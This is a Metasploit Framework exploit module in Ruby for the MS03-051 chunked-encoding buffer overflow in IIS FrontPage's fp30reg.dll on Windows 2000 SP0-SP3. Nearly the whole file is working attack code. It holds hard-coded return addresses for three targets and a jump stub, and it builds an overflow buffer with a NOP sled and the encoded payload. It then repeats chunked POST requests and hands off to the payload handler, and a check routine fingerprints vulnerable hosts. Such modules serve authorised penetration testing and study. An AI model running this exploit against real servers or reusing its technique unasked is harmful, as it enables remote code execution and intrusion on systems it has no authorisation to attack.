Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

#   http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = GoodRanking

        include Msf::Exploit::Remote::HttpClient

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow',

                        'Description'    => %q{

                                        This is an exploit for the chunked encoding buffer overflow

                                described in MS03-051 and originally reported by Brett

                                Moore. This particular modules works against versions of

                                Windows 2000 between SP0 and SP3. Service Pack 4 fixes the

                                issue.

                        },

                        'Author'         => [ 'hdm' ],

                        'License'        => MSF_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        [ 'CVE', '2003-0822'],

                                        [ 'OSVDB', '2952'],

                                        [ 'BID', '9007'],

                                        [ 'MSB', 'MS03-051'],

                                ],

                        'Privileged'     => false,

                        'Payload'        =>

                                {

                                        'Space'    => 1024,

                                        'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",

                                        'StackAdjustment' => -3500,

                                },

                        'Platform'       => 'win',

                        'Targets'        =>

                                [

                                        ['Windows 2000 SP0-SP3',  { 'Ret' => 0x6c38a4d0  }],   # from mfc42.dll

                                        ['Windows 2000 07/22/02', { 'Ret' => 0x67d44eb1  }],   # from fp30reg.dll 07/22/2002

                                        ['Windows 2000 10/06/99', { 'Ret' => 0x67d4665d  }],   # from fp30reg.dll 10/06/1999

                                ],

                        'DisclosureDate' => 'Nov 11 2003',

                        'DefaultTarget' => 0))

                register_options(

                        [

                                OptString.new('URL', [ true,  "The path to fp30reg.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]),

                        ], self.class)

        end

        def exploit

                print_status("Creating overflow request for fp30reg.dll...")

                pat = rand_text_alphanumeric(0xdead)

                pat[128, 4] = [target.ret].pack('V')

                pat[264, 4] = [target.ret].pack('V')

                # sub eax,0xfffffeff; jmp eax

                pat[160, 7] = "\x2d\xff\xfe\xff\xff" + "\xff\xe0"

                pat[280, 512] = make_nops(512)

                pat[792, payload.encoded.length] = payload.encoded

                0.upto(15) do |i|

                        if (i % 3 == 0)

                                print_status("Refreshing the remote dllhost.exe process...")

                                res = send_request_raw({

                                        'uri' => datastore['URL']

                                }, -1)

                                if (res and res.body =~ /specified module could not be found/)

                                        print_status("The server states that #{datastore['URL']} does not exist.\n")

                                        return

                                end

                        end

                        print_status("Trying to exploit fp30reg.dll (request #{i} of 15)")

                        res = send_request_raw({

                                'uri'     => datastore['URL'],

                                'method'  => 'POST',

                                'headers' =>

                                {

                                        'Transfer-Encoding' => 'Chunked'

                                },

                                'data'    => "DEAD\r\n#{pat}\r\n0\r\n"

                        }, 5)

                        if (res and res.body =~ /specified module could not be found/)

                                print_status("The server states that #{datastore['URL']} does not exist.\n")

                                return

                        end

                        handler

                        select(nil,nil,nil,1)

                end

        end

        def check

                print_status("Requesting the vulnerable ISAPI path...")

                r = send_request_raw({

                        'uri' => datastore['URL']

                }, -1)

                if (r and r.code == 501)

                        return Exploit::CheckCode::Detected

                end

                return Exploit::CheckCode::Safe

        end

end